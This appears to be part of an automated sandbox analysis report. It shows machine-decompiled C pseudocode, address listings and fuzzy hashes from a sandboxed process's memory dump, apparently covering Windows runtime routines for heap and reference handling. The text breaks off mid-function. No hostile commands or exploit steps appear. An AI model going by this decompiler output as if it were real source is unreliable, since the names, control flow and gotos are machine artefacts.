                                      								__eflags =  *((intOrPtr*)(_t102 + 8)) - _t118;
                                      								if( *((intOrPtr*)(_t102 + 8)) != _t118) {
                                      									goto L34;
                                      								}
                                      								_t112 = _v1056;
                                      								_v1060 = _t118;
                                      								__eflags = _t112;
                                      								if(_t112 == 0) {
                                      									goto L10;
                                      								}
                                      								 *_t112 =  *((intOrPtr*)(_t102 + 0xc));
                                      								 *((intOrPtr*)(_t112 + 4)) =  *((intOrPtr*)(_t102 + 0x10));
                                      								goto L11;
                                      							}
                                      							__eflags = _t114 - _t118;
                                      							if(_t114 != _t118) {
                                      								goto L59;
                                      							}
                                      							__eflags = _t77 - _t118;
                                      							if(_t77 != _t118) {
                                      								goto L34;
                                      							}
                                      							__eflags =  *((intOrPtr*)(_t102 + 8)) - _t118;
                                      							if( *((intOrPtr*)(_t102 + 8)) != _t118) {
                                      								goto L34;
                                      							}
                                      							_t113 = _v1056;
                                      							_v1060 = _t118;
                                      							__eflags = _t113;
                                      							if(_t113 == 0) {
                                      								goto L10;
                                      							}
                                      							 *_t113 =  *((intOrPtr*)(_t102 + 0xc));
                                      							goto L11;
                                      						}
                                      						_t118 =  *((intOrPtr*)(_t102 + 8));
                                      						__eflags = _t118 - _a20;
                                      						if(_t118 <= _a20) {
                                      							_t114 =  *(_t102 + 4);
                                      							_t77 = _t118;
                                      							goto L26;
                                      						}
                                      						_v1060 = _t118;
                                      						goto L10;
                                      					}
                                      					__eflags = _t122 - 0x80000005;
                                      					if(_t122 != 0x80000005) {
                                      						goto L15;
                                      					}
                                      					L036877F0( *( *[fs:0x30] + 0x18), 0, _t102);
                                      					L18:
                                      					_t121 = _v1060;
                                      					goto L19;
                                      				}
                                      				_push( &_v1060);
                                      				_push(0x400);
                                      				_t102 =  &_v1036;
                                      				_push(_t102);
                                      				_push(2);
                                      				_push( &_v1048);
                                      				_push(_t116);
                                      				_t122 = E036A9650();
                                      				if(_t122 >= 0) {
                                      					__eflags = 0;
                                      					_v1052 = 0;
                                      					goto L7;
                                      				}
                                      				if(_t122 == 0x80000005) {
                                      					goto L18;
                                      				}
                                      				goto L4;
                                      			}










































                                      0x0366c608
                                      0x0366c615
                                      0x0366c625
                                      0x0366c62d
                                      0x0366c635
                                      0x0366c640
                                      0x0366c680
                                      0x0366c687
                                      0x0366c688
                                      0x0366c689
                                      0x0366c694
                                      0x0366c694
                                      0x0366c642
                                      0x0366c64a
                                      0x0366c697
                                      0x036d7a25
                                      0x036d7a2b
                                      0x036d7a2e
                                      0x036d7a30
                                      0x036d7bea
                                      0x036d7bea
                                      0x00000000
                                      0x036d7bea
                                      0x036d7a36
                                      0x036d7a43
                                      0x036d7a48
                                      0x036d7a4c
                                      0x036d7a4e
                                      0x00000000
                                      0x00000000
                                      0x036d7a58
                                      0x036d7a5a
                                      0x036d7a5b
                                      0x036d7a5c
                                      0x036d7a5d
                                      0x036d7a63
                                      0x036d7a64
                                      0x036d7a6a
                                      0x036d7a6c
                                      0x036d7a6e
                                      0x036d79cb
                                      0x036d79cb
                                      0x036d79ce
                                      0x036d79d0
                                      0x036d7a98
                                      0x036d7a9b
                                      0x036d7a9b
                                      0x036d7a9e
                                      0x036d7aa1
                                      0x036d7bbe
                                      0x036d7bbe
                                      0x036d7bc0
                                      0x036d7be0
                                      0x036d7be0
                                      0x036d7a01
                                      0x036d7a01
                                      0x036d7a05
                                      0x036d7a07
                                      0x036d7a15
                                      0x036d7a15
                                      0x036d7a1a
                                      0x00000000
                                      0x036d7a1a
                                      0x036d7bc2
                                      0x036d7bc6
                                      0x036d7bc9
                                      0x036d7bcd
                                      0x036d7bcf
                                      0x036d79e6
                                      0x036d79e6
                                      0x036d79eb
                                      0x036d79eb
                                      0x036d79ef
                                      0x036d79f1
                                      0x00000000
                                      0x00000000
                                      0x036d79f3
                                      0x036d79f5
                                      0x036d79ff
                                      0x036d79ff
                                      0x00000000
                                      0x036d79ff
                                      0x036d79f7
                                      0x036d79fd
                                      0x00000000
                                      0x00000000
                                      0x00000000
                                      0x036d79fd
                                      0x036d7bd5
                                      0x036d7bd8
                                      0x00000000
                                      0x00000000
                                      0x036d7ba9
                                      0x036d7bac
                                      0x036d7bb0
                                      0x036d7bb1
                                      0x036d7bb1
                                      0x036d7bb6
                                      0x00000000
                                      0x036d7bb6
                                      0x036d7aa7
                                      0x036d7aaa
                                      0x00000000
                                      0x00000000
                                      0x036d7ab2
                                      0x036d7ab3
                                      0x036d7ab5
                                      0x036d7aec
                                      0x036d7aef
                                      0x036d7b25
                                      0x036d7b28
                                      0x036d7b62
                                      0x036d7b64
                                      0x036d7b8f
                                      0x036d7b92
                                      0x036d7b96
                                      0x036d7b98
                                      0x00000000
                                      0x00000000
                                      0x036d7b9e
                                      0x036d7b9f
                                      0x036d7ba3
                                      0x00000000
                                      0x036d7ba3
                                      0x036d7b66
                                      0x036d7b68
                                      0x036d7ae2
                                      0x036d7ae2
                                      0x00000000
                                      0x036d7ae2
                                      0x036d7b6e
                                      0x036d7b72
                                      0x036d7b75
                                      0x036d7b81
                                      0x036d7b85
                                      0x036d7b87
                                      0x00000000
                                      0x00000000
                                      0x036d7b31
                                      0x036d7b34
                                      0x036d7b3c
                                      0x036d7b45
                                      0x036d7b46
                                      0x036d7b4f
                                      0x036d7b51
                                      0x036d7b57
                                      0x036d7b59
                                      0x036d7b59
                                      0x00000000
                                      0x036d7b59
                                      0x036d7b77
                                      0x00000000
                                      0x036d7b77
                                      0x036d7b2a
                                      0x00000000
                                      0x036d7b2a
                                      0x036d7af1
                                      0x036d7af3
                                      0x00000000
                                      0x00000000
                                      0x036d7afb
                                      0x036d7afc
                                      0x036d7afe
                                      0x00000000
                                      0x00000000
                                      0x036d7b00
                                      0x036d7b03
                                      0x00000000
                                      0x00000000
                                      0x036d7b05
                                      0x036d7b09
                                      0x036d7b0d
                                      0x036d7b0f
                                      0x00000000
                                      0x00000000
                                      0x036d7b18
                                      0x036d7b1d
                                      0x00000000
                                      0x036d7b1d
                                      0x036d7ab7
                                      0x036d7ab9
                                      0x00000000
                                      0x00000000
                                      0x036d7abf
                                      0x036d7ac1
                                      0x00000000
                                      0x00000000
                                      0x036d7ac3
                                      0x036d7ac6
                                      0x00000000
                                      0x00000000
                                      0x036d7ac8
                                      0x036d7acc
                                      0x036d7ad0
                                      0x036d7ad2
                                      0x00000000
                                      0x00000000
                                      0x036d7adb
                                      0x00000000
                                      0x036d7adb
                                      0x036d79d6
                                      0x036d79d9
                                      0x036d79dc
                                      0x036d7a91
                                      0x036d7a94
                                      0x00000000
                                      0x036d7a94
                                      0x036d79e2
                                      0x00000000
                                      0x036d79e2
                                      0x036d7a74
                                      0x036d7a7a
                                      0x00000000
                                      0x00000000
                                      0x036d7a8a
                                      0x036d7a21
                                      0x036d7a21
                                      0x00000000
                                      0x036d7a21
                                      0x0366c650
                                      0x0366c651
                                      0x0366c656
                                      0x0366c65c
                                      0x0366c65d
                                      0x0366c663
                                      0x0366c664
                                      0x0366c66a
                                      0x0366c66e
                                      0x036d79c5
                                      0x036d79c7
                                      0x00000000
                                      0x036d79c7
                                      0x0366c67a
                                      0x00000000
                                      0x00000000
                                      0x00000000

                                      Memory Dump Source
                                      • Source File: 0000000D.00000002.525382273.0000000003640000.00000040.00000001.sdmp, Offset: 03640000, based on PE: true
                                      • Associated: 0000000D.00000002.526107553.000000000375B000.00000040.00000001.sdmp Download File
                                      • Associated: 0000000D.00000002.526159190.000000000375F000.00000040.00000001.sdmp Download File
                                      Similarity
                                      • API ID: InitializeThunk
                                      • String ID:
                                      • API String ID: 2994545307-0
                                      • Opcode ID: b5b8b464a51169e16170dfa13154532f723c534c30dca60a599175f4077c601e
                                      • Instruction ID: abd4a7fd8ca865683c9e1bd93fa6795ac4e19098e93915d80dc9ba62c5c2c725
                                      • Opcode Fuzzy Hash: b5b8b464a51169e16170dfa13154532f723c534c30dca60a599175f4077c601e
                                      • Instruction Fuzzy Hash: A6818D76A046459BCB25CE14C980A6AB7E8FB84250F18496EED46DB344D331ED41CBA3
                                      Uniqueness

                                      Uniqueness Score: -1.00%

                                      C-Code - Quality: 39%
                                      			E036FB8D0(void* __edx, intOrPtr _a4, intOrPtr _a8, signed char _a12, signed int** _a16) {
                                      				char _v8;
                                      				signed int _v12;
                                      				signed int _t80;
                                      				signed int _t83;
                                      				intOrPtr _t89;
                                      				signed int _t92;
                                      				signed char _t106;
                                      				signed int* _t107;
                                      				intOrPtr _t108;
                                      				intOrPtr _t109;
                                      				signed int _t114;
                                      				void* _t115;
                                      				void* _t117;
                                      				void* _t119;
                                      				void* _t122;
                                      				signed int _t123;
                                      				signed int* _t124;
                                      
                                      				_t106 = _a12;
                                      				if((_t106 & 0xfffffffc) != 0) {
                                      					return 0xc000000d;
                                      				}
                                      				if((_t106 & 0x00000002) != 0) {
                                      					_t106 = _t106 | 0x00000001;
                                      				}
                                      				_t109 =  *0x3757b9c; // 0x0
                                      				_t124 = L03684620(_t109 + 0x140000,  *((intOrPtr*)( *[fs:0x30] + 0x18)), _t109 + 0x140000, 0x424 + (_a8 - 1) * 0xc);
                                      				if(_t124 != 0) {
                                      					 *_t124 =  *_t124 & 0x00000000;
                                      					_t124[1] = _t124[1] & 0x00000000;
                                      					_t124[4] = _t124[4] & 0x00000000;
                                      					if( *((intOrPtr*)( *[fs:0x18] + 0xf9c)) == 0) {
                                      						L13:
                                      						_push(_t124);
                                      						if((_t106 & 0x00000002) != 0) {
                                      							_push(0x200);
                                      							_push(0x28);
                                      							_push(0xffffffff);
                                      							_t122 = E036A9800();
                                      							if(_t122 < 0) {
                                      								L33:
                                      								if((_t124[4] & 0x00000001) != 0) {
                                      									_push(4);
                                      									_t64 =  &(_t124[1]); // 0x4
                                      									_t107 = _t64;
                                      									_push(_t107);
                                      									_push(5);
                                      									_push(0xfffffffe);
                                      									E036A95B0();
                                      									if( *_t107 != 0) {
                                      										_push( *_t107);
                                      										E036A95D0();
                                      									}
                                      								}
                                      								_push(_t124);
                                      								_push(0);
                                      								_push( *((intOrPtr*)( *[fs:0x30] + 0x18)));
                                      								L37:
                                      								L036877F0();
                                      								return _t122;
                                      							}
                                      							_t124[4] = _t124[4] | 0x00000002;
                                      							L18:
                                      							_t108 = _a8;
                                      							_t29 =  &(_t124[0x105]); // 0x414
                                      							_t80 = _t29;
                                      							_t30 =  &(_t124[5]); // 0x14
                                      							_t124[3] = _t80;
                                      							_t123 = 0;
                                      							_t124[2] = _t30;
                                      							 *_t80 = _t108;
                                      							if(_t108 == 0) {
                                      								L21:
                                      								_t112 = 0x400;
                                      								_push( &_v8);
                                      								_v8 = 0x400;
                                      								_push(_t124[2]);
                                      								_push(0x400);
                                      								_push(_t124[3]);
                                      								_push(0);
                                      								_push( *_t124);
                                      								_t122 = E036A9910();
                                      								if(_t122 != 0xc0000023) {
                                      									L26:
                                      									if(_t122 != 0x106) {
                                      										L40:
                                      										if(_t122 < 0) {
                                      											L29:
                                      											_t83 = _t124[2];
                                      											if(_t83 != 0) {
                                      												_t59 =  &(_t124[5]); // 0x14
                                      												if(_t83 != _t59) {
                                      													L036877F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t83);
                                      												}
                                      											}
                                      											_push( *_t124);
                                      											E036A95D0();
                                      											goto L33;
                                      										}
                                      										 *_a16 = _t124;
                                      										return 0;
                                      									}
                                      									if(_t108 != 1) {
                                      										_t122 = 0;
                                      										goto L40;
                                      									}
                                      									_t122 = 0xc0000061;
                                      									goto L29;
                                      								} else {
                                      									goto L22;
                                      								}
                                      								while(1) {
                                      									L22:
                                      									_t89 =  *0x3757b9c; // 0x0
                                      									_t92 = L03684620(_t112,  *((intOrPtr*)( *[fs:0x30] + 0x18)), _t89 + 0x140000, _v8);
                                      									_t124[2] = _t92;
                                      									if(_t92 == 0) {
                                      										break;
                                      									}
                                      									_t112 =  &_v8;
                                      									_push( &_v8);
                                      									_push(_t92);
                                      									_push(_v8);
                                      									_push(_t124[3]);
                                      									_push(0);
                                      									_push( *_t124);
                                      									_t122 = E036A9910();
                                      									if(_t122 != 0xc0000023) {
                                      										goto L26;
                                      									}
                                      									L036877F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t124[2]);
                                      								}
                                      								_t122 = 0xc0000017;
                                      								goto L26;
                                      							}
                                      							_t119 = 0;
                                      							do {
                                      								_t114 = _t124[3];
                                      								_t119 = _t119 + 0xc;
                                      								 *((intOrPtr*)(_t114 + _t119 - 8)) =  *((intOrPtr*)(_a4 + _t123 * 4));
                                      								 *(_t114 + _t119 - 4) =  *(_t114 + _t119 - 4) & 0x00000000;
                                      								_t123 = _t123 + 1;
                                      								 *((intOrPtr*)(_t124[3] + _t119)) = 2;
                                      							} while (_t123 < _t108);
                                      							goto L21;
                                      						}
                                      						_push(0x28);
                                      						_push(3);
                                      						_t122 = E0366A7B0();
                                      						if(_t122 < 0) {
                                      							goto L33;
                                      						}
                                      						_t124[4] = _t124[4] | 0x00000001;
                                      						goto L18;
                                      					}
                                      					if((_t106 & 0x00000001) == 0) {
                                      						_t115 = 0x28;
                                      						_t122 = E036FE7D3(_t115, _t124);
                                      						if(_t122 < 0) {
                                      							L9:
                                      							_push(_t124);
                                      							_push(0);
                                      							_push( *((intOrPtr*)( *[fs:0x30] + 0x18)));
                                      							goto L37;
                                      						}
                                      						L12:
                                      						if( *_t124 != 0) {
                                      							goto L18;
                                      						}
                                      						goto L13;
                                      					}
                                      					_t15 =  &(_t124[1]); // 0x4
                                      					_t117 = 4;
                                      					_t122 = E036FE7D3(_t117, _t15);
                                      					if(_t122 >= 0) {
                                      						_t124[4] = _t124[4] | 0x00000001;
                                      						_v12 = _v12 & 0x00000000;
                                      						_push(4);
                                      						_push( &_v12);
                                      						_push(5);
                                      						_push(0xfffffffe);
                                      						E036A95B0();
                                      						goto L12;
                                      					}
                                      					goto L9;
                                      				} else {
                                      					return 0xc0000017;
                                      				}
                                      			}




















                                      0x036fb8d9
                                      0x036fb8e4
                                      0x00000000
                                      0x036fb8e6
                                      0x036fb8f3
                                      0x036fb8f5
                                      0x036fb8f5
                                      0x036fb8f8
                                      0x036fb920
                                      0x036fb924
                                      0x036fb936
                                      0x036fb939
                                      0x036fb93d
                                      0x036fb948
                                      0x036fb9a0
                                      0x036fb9a0
                                      0x036fb9a4
                                      0x036fb9bf
                                      0x036fb9c4
                                      0x036fb9c6
                                      0x036fb9cd
                                      0x036fb9d1
                                      0x036fbad4
                                      0x036fbad8
                                      0x036fbada
                                      0x036fbadc
                                      0x036fbadc
                                      0x036fbadf
                                      0x036fbae0
                                      0x036fbae2
                                      0x036fbae4
                                      0x036fbaec
                                      0x036fbaee
                                      0x036fbaf0
                                      0x036fbaf0
                                      0x036fbaec
                                      0x036fbafb
                                      0x036fbafc
                                      0x036fbafe
                                      0x036fbb01
                                      0x036fbb01
                                      0x00000000
                                      0x036fbb06
                                      0x036fb9d7
                                      0x036fb9db
                                      0x036fb9db
                                      0x036fb9de
                                      0x036fb9de
                                      0x036fb9e4
                                      0x036fb9e7
                                      0x036fb9ea
                                      0x036fb9ec
                                      0x036fb9ef
                                      0x036fb9f3
                                      0x036fba1b
                                      0x036fba1b
                                      0x036fba23
                                      0x036fba24
                                      0x036fba27
                                      0x036fba2a
                                      0x036fba2b
                                      0x036fba2e
                                      0x036fba30
                                      0x036fba37
                                      0x036fba3f
                                      0x036fba9c
                                      0x036fbaa2
                                      0x036fbb13
                                      0x036fbb15
                                      0x036fbaae
                                      0x036fbaae
                                      0x036fbab3
                                      0x036fbab5
                                      0x036fbaba
                                      0x036fbac8
                                      0x036fbac8
                                      0x036fbaba
                                      0x036fbacd
                                      0x036fbacf
                                      0x00000000
                                      0x036fbacf
                                      0x036fbb1a
                                      0x00000000
                                      0x036fbb1c
                                      0x036fbaa7
                                      0x036fbb11
                                      0x00000000
                                      0x036fbb11
                                      0x036fbaa9
                                      0x00000000
                                      0x00000000
                                      0x00000000
                                      0x00000000
                                      0x036fba41
                                      0x036fba41
                                      0x036fba41
                                      0x036fba58
                                      0x036fba5d
                                      0x036fba62
                                      0x00000000
                                      0x00000000
                                      0x036fba64
                                      0x036fba67
                                      0x036fba68
                                      0x036fba69
                                      0x036fba6c
                                      0x036fba6f
                                      0x036fba71
                                      0x036fba78
                                      0x036fba80
                                      0x00000000
                                      0x00000000
                                      0x036fba90
                                      0x036fba90
                                      0x036fba97
                                      0x00000000
                                      0x036fba97
                                      0x036fb9f5
                                      0x036fb9f7
                                      0x036fb9f7
                                      0x036fb9fa
                                      0x036fba03
                                      0x036fba07
                                      0x036fba0c
                                      0x036fba10
                                      0x036fba17
                                      0x00000000
                                      0x036fb9f7
                                      0x036fb9a6
                                      0x036fb9a8
                                      0x036fb9af
                                      0x036fb9b3
                                      0x00000000
                                      0x00000000
                                      0x036fb9b9
                                      0x00000000
                                      0x036fb9b9
                                      0x036fb94d
                                      0x036fb98f
                                      0x036fb995
                                      0x036fb999
                                      0x036fb960
                                      0x036fb967
                                      0x036fb968
                                      0x036fb96a
                                      0x00000000
                                      0x036fb96a
                                      0x036fb99b
                                      0x036fb99e
                                      0x00000000
                                      0x00000000
                                      0x00000000
                                      0x036fb99e
                                      0x036fb951
                                      0x036fb954
                                      0x036fb95a
                                      0x036fb95e
                                      0x036fb972
                                      0x036fb979
                                      0x036fb97d
                                      0x036fb97f
                                      0x036fb980
                                      0x036fb982
                                      0x036fb984
                                      0x00000000
                                      0x036fb984
                                      0x00000000
                                      0x036fb926
                                      0x00000000
                                      0x036fb926

                                      Memory Dump Source
                                      • Source File: 0000000D.00000002.525382273.0000000003640000.00000040.00000001.sdmp, Offset: 03640000, based on PE: true
                                      • Associated: 0000000D.00000002.526107553.000000000375B000.00000040.00000001.sdmp Download File
                                      • Associated: 0000000D.00000002.526159190.000000000375F000.00000040.00000001.sdmp Download File
                                      Similarity
                                      • API ID:
                                      • String ID:
                                      • API String ID:
                                      • Opcode ID: 3efe6feb29d7535f18dda34c44672033dc1d45bcccf8d9f85f579b8816cdd935
                                      • Instruction ID: 89c1d8c237141a70375b7fee6ff746adf767068bbf961c8a5b58300cf3fa1ff9
                                      • Opcode Fuzzy Hash: 3efe6feb29d7535f18dda34c44672033dc1d45bcccf8d9f85f579b8816cdd935
                                      • Instruction Fuzzy Hash: 5271EF36200B05AFD731DF18CA45F66BBFAEB44720F28462CE6558B6A0DBB5E941CB50
                                      Uniqueness

                                      Uniqueness Score: -1.00%

                                      C-Code - Quality: 78%
                                      			E036652A5(char __ecx) {
                                      				char _v20;
                                      				char _v28;
                                      				char _v29;
                                      				void* _v32;
                                      				void* _v36;
                                      				void* _v37;
                                      				void* _v38;
                                      				void* _v40;
                                      				void* _v46;
                                      				void* _v64;
                                      				void* __ebx;
                                      				intOrPtr* _t49;
                                      				signed int _t53;
                                      				short _t85;
                                      				signed int _t87;
                                      				signed int _t88;
                                      				signed int _t89;
                                      				intOrPtr _t101;
                                      				intOrPtr* _t102;
                                      				intOrPtr* _t104;
                                      				signed int _t106;
                                      				void* _t108;
                                      
                                      				_t93 = __ecx;
                                      				_t108 = (_t106 & 0xfffffff8) - 0x1c;
                                      				_push(_t88);
                                      				_v29 = __ecx;
                                      				_t89 = _t88 | 0xffffffff;
                                      				while(1) {
                                      					E0367EEF0(0x37579a0);
                                      					_t104 =  *0x3758210; // 0x901cd0
                                      					if(_t104 == 0) {
                                      						break;
                                      					}
                                      					asm("lock inc dword [esi]");
                                      					 *((intOrPtr*)(_t108 + 0x18)) =  *((intOrPtr*)(_t104 + 8));
                                      					E0367EB70(_t93, 0x37579a0);
                                      					if( *((char*)(_t108 + 0xf)) != 0) {
                                      						_t101 =  *0x7ffe02dc;
                                      						__eflags =  *(_t104 + 0x14) & 0x00000001;
                                      						if(( *(_t104 + 0x14) & 0x00000001) != 0) {
                                      							L9:
                                      							_push(0);
                                      							_push(0);
                                      							_push(0);
                                      							_push(0);
                                      							_push(0x90028);
                                      							_push(_t108 + 0x20);
                                      							_push(0);
                                      							_push(0);
                                      							_push(0);
                                      							_push( *((intOrPtr*)(_t104 + 4)));
                                      							_t53 = E036A9890();
                                      							__eflags = _t53;
                                      							if(_t53 >= 0) {
                                      								__eflags =  *(_t104 + 0x14) & 0x00000001;
                                      								if(( *(_t104 + 0x14) & 0x00000001) == 0) {
                                      									E0367EEF0(0x37579a0);
                                      									 *((intOrPtr*)(_t104 + 8)) = _t101;
                                      									E0367EB70(0, 0x37579a0);
                                      								}
                                      								goto L3;
                                      							}
                                      							__eflags = _t53 - 0xc0000012;
                                      							if(__eflags == 0) {
                                      								L12:
                                      								_t13 = _t104 + 0xc; // 0x901cdd
                                      								_t93 = _t13;
                                      								 *((char*)(_t108 + 0x12)) = 0;
                                      								__eflags = E0369F0BF(_t13,  *(_t104 + 0xe) & 0x0000ffff, __eflags,  &_v28);
                                      								if(__eflags >= 0) {
                                      									L15:
                                      									_t102 = _v28;
                                      									 *_t102 = 2;
                                      									 *((intOrPtr*)(_t108 + 0x18)) =  *((intOrPtr*)( *[fs:0x30] + 0x10)) + 0x24;
                                      									E0367EEF0(0x37579a0);
                                      									__eflags =  *0x3758210 - _t104; // 0x901cd0
                                      									if(__eflags == 0) {
                                      										__eflags =  *((char*)(_t108 + 0xe));
                                      										_t95 =  *((intOrPtr*)(_t108 + 0x14));
                                      										 *0x3758210 = _t102;
                                      										_t32 = _t102 + 0xc; // 0x0
                                      										 *_t95 =  *_t32;
                                      										_t33 = _t102 + 0x10; // 0x0
                                      										 *((intOrPtr*)(_t95 + 4)) =  *_t33;
                                      										_t35 = _t102 + 4; // 0xffffffff
                                      										 *((intOrPtr*)(_t95 + 8)) =  *_t35;
                                      										if(__eflags != 0) {
                                      											_t95 =  *((intOrPtr*)( *((intOrPtr*)(_t104 + 0x10))));
                                      											E036E4888(_t89,  *((intOrPtr*)( *((intOrPtr*)(_t104 + 0x10)))), __eflags);
                                      										}
                                      										E0367EB70(_t95, 0x37579a0);
                                      										asm("lock xadd [esi], eax");
                                      										if(__eflags == 0) {
                                      											_push( *((intOrPtr*)(_t104 + 4)));
                                      											E036A95D0();
                                      											L036877F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t104);
                                      											_t102 =  *((intOrPtr*)(_t108 + 0x10));
                                      										}
                                      										asm("lock xadd [esi], ebx");
                                      										__eflags = _t89 == 1;
                                      										if(_t89 == 1) {
                                      											_push( *((intOrPtr*)(_t104 + 4)));
                                      											E036A95D0();
                                      											L036877F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t104);
                                      											_t102 =  *((intOrPtr*)(_t108 + 0x10));
                                      										}
                                      										_t49 = _t102;
                                      										L4:
                                      										return _t49;
                                      									}
                                      									E0367EB70(_t93, 0x37579a0);
                                      									asm("lock xadd [esi], eax");
                                      									if(__eflags == 0) {
                                      										_push( *((intOrPtr*)(_t104 + 4)));
                                      										E036A95D0();
                                      										L036877F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t104);
                                      										_t102 =  *((intOrPtr*)(_t108 + 0x10));
                                      									}
                                      									 *_t102 = 1;
                                      									asm("lock xadd [edi], eax");
                                      									if(__eflags == 0) {
                                      										_t28 = _t102 + 4; // 0xffffffff
                                      										_push( *_t28);
                                      										E036A95D0();
                                      										L036877F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t102);
                                      									}
                                      									continue;
                                      								}
                                      								_t93 =  &_v20;
                                      								 *((intOrPtr*)(_t108 + 0x20)) =  *((intOrPtr*)(_t104 + 0x10));
                                      								_t85 = 6;
                                      								_v20 = _t85;
                                      								_t87 = E0369F0BF( &_v20,  *(_t104 + 0xe) & 0x0000ffff, __eflags,  &_v28);
                                      								__eflags = _t87;
                                      								if(_t87 < 0) {
                                      									goto L3;
                                      								}
                                      								 *((char*)(_t108 + 0xe)) = 1;
                                      								goto L15;
                                      							}
                                      							__eflags = _t53 - 0xc000026e;
                                      							if(__eflags != 0) {
                                      								goto L3;
                                      							}
                                      							goto L12;
                                      						}
                                      						__eflags = 0x7ffe02dc -  *((intOrPtr*)(_t108 + 0x14));
                                      						if(0x7ffe02dc ==  *((intOrPtr*)(_t108 + 0x14))) {
                                      							goto L3;
                                      						} else {
                                      							goto L9;
                                      						}
                                      					}
                                      					L3:
                                      					_t49 = _t104;
                                      					goto L4;
                                      				}
                                      				_t49 = 0;
                                      				goto L4;
                                      			}

























                                      0x036652a5
                                      0x036652ad
                                      0x036652b0
                                      0x036652b3
                                      0x036652b7
                                      0x036652ba
                                      0x036652bf
                                      0x036652c4
                                      0x036652cc
                                      0x00000000
                                      0x00000000
                                      0x036652ce
                                      0x036652d9
                                      0x036652dd
                                      0x036652e7
                                      0x036652f7
                                      0x036652f9
                                      0x036652fd
                                      0x036c0dcf
                                      0x036c0dd5
                                      0x036c0dd6
                                      0x036c0dd7
                                      0x036c0dd8
                                      0x036c0dd9
                                      0x036c0dde
                                      0x036c0ddf
                                      0x036c0de0
                                      0x036c0de1
                                      0x036c0de2
                                      0x036c0de5
                                      0x036c0dea
                                      0x036c0dec
                                      0x036c0f60
                                      0x036c0f64
                                      0x036c0f70
                                      0x036c0f76
                                      0x036c0f79
                                      0x036c0f79
                                      0x00000000
                                      0x036c0f64
                                      0x036c0df2
                                      0x036c0df7
                                      0x036c0e04
                                      0x036c0e0d
                                      0x036c0e0d
                                      0x036c0e10
                                      0x036c0e1a
                                      0x036c0e1c
                                      0x036c0e4c
                                      0x036c0e52
                                      0x036c0e61
                                      0x036c0e67
                                      0x036c0e6b
                                      0x036c0e70
                                      0x036c0e76
                                      0x036c0ed7
                                      0x036c0edc
                                      0x036c0ee0
                                      0x036c0ee6
                                      0x036c0eea
                                      0x036c0eed
                                      0x036c0ef0
                                      0x036c0ef3
                                      0x036c0ef6
                                      0x036c0ef9
                                      0x036c0efe
                                      0x036c0f01
                                      0x036c0f01
                                      0x036c0f0b
                                      0x036c0f12
                                      0x036c0f16
                                      0x036c0f18
                                      0x036c0f1b
                                      0x036c0f2c
                                      0x036c0f31
                                      0x036c0f31
                                      0x036c0f35
                                      0x036c0f39
                                      0x036c0f3a
                                      0x036c0f3c
                                      0x036c0f3f
                                      0x036c0f50
                                      0x036c0f55
                                      0x036c0f55
                                      0x036c0f59
                                      0x036652eb
                                      0x036652f1
                                      0x036652f1
                                      0x036c0e7d
                                      0x036c0e84
                                      0x036c0e88
                                      0x036c0e8a
                                      0x036c0e8d
                                      0x036c0e9e
                                      0x036c0ea3
                                      0x036c0ea3
                                      0x036c0ea7
                                      0x036c0eaf
                                      0x036c0eb3
                                      0x036c0eb9
                                      0x036c0eb9
                                      0x036c0ebc
                                      0x036c0ecd
                                      0x036c0ecd
                                      0x00000000
                                      0x036c0eb3
                                      0x036c0e21
                                      0x036c0e2b
                                      0x036c0e2f
                                      0x036c0e30
                                      0x036c0e3a
                                      0x036c0e3f
                                      0x036c0e41
                                      0x00000000
                                      0x00000000
                                      0x036c0e47
                                      0x00000000
                                      0x036c0e47
                                      0x036c0df9
                                      0x036c0dfe
                                      0x00000000
                                      0x00000000
                                      0x00000000
                                      0x036c0dfe
                                      0x03665303
                                      0x03665307
                                      0x00000000
                                      0x03665309
                                      0x00000000
                                      0x03665309
                                      0x03665307
                                      0x036652e9
                                      0x036652e9
                                      0x00000000
                                      0x036652e9
                                      0x0366530e
                                      0x00000000

                                      Memory Dump Source
                                      • Source File: 0000000D.00000002.525382273.0000000003640000.00000040.00000001.sdmp, Offset: 03640000, based on PE: true
                                      • Associated: 0000000D.00000002.526107553.000000000375B000.00000040.00000001.sdmp Download File
                                      • Associated: 0000000D.00000002.526159190.000000000375F000.00000040.00000001.sdmp Download File
                                      Similarity
                                      • API ID:
                                      • String ID:
                                      • API String ID:
                                      • Opcode ID: 5dcd945e79d78afc8d58922bd96f337ca9274e4d9eae3fc16b26bd854aefc269
                                      • Instruction ID: 477428e384463b3a6be0338e3f2e1dd8aeaefdd74d0b428f4a736d50a98f4752
                                      • Opcode Fuzzy Hash: 5dcd945e79d78afc8d58922bd96f337ca9274e4d9eae3fc16b26bd854aefc269
                                      • Instruction Fuzzy Hash: 0751EE74205781EFC721EF68C941B27BBE8FF44714F14091EE8968B651E7B4E844CB9A
                                      Uniqueness

                                      Uniqueness Score: -1.00%

                                      C-Code - Quality: 100%
                                      			E03692AE4(intOrPtr* __ecx, intOrPtr __edx, signed int _a4, short* _a8, intOrPtr _a12, signed int* _a16) {
                                      				signed short* _v8;
                                      				signed short* _v12;
                                      				intOrPtr _v16;
                                      				intOrPtr _v20;
                                      				intOrPtr _v24;
                                      				intOrPtr* _v28;
                                      				signed int _v32;
                                      				signed int _v36;
                                      				short _t56;
                                      				signed int _t57;
                                      				intOrPtr _t58;
                                      				signed short* _t61;
                                      				intOrPtr _t72;
                                      				intOrPtr _t75;
                                      				intOrPtr _t84;
                                      				intOrPtr _t87;
                                      				intOrPtr* _t90;
                                      				signed short* _t91;
                                      				signed int _t95;
                                      				signed short* _t96;
                                      				intOrPtr _t97;
                                      				intOrPtr _t102;
                                      				signed int _t108;
                                      				intOrPtr _t110;
                                      				signed int _t111;
                                      				signed short* _t112;
                                      				void* _t113;
                                      				signed int _t116;
                                      				signed short** _t119;
                                      				short* _t120;
                                      				signed int _t123;
                                      				signed int _t124;
                                      				void* _t125;
                                      				intOrPtr _t127;
                                      				signed int _t128;
                                      
                                      				_t90 = __ecx;
                                      				_v16 = __edx;
                                      				_t108 = _a4;
                                      				_v28 = __ecx;
                                      				_t4 = _t108 - 1; // -1
                                      				if(_t4 > 0x13) {
                                      					L15:
                                      					_t56 = 0xc0000100;
                                      					L16:
                                      					return _t56;
                                      				}
                                      				_t57 = _t108 * 0x1c;
                                      				_v32 = _t57;
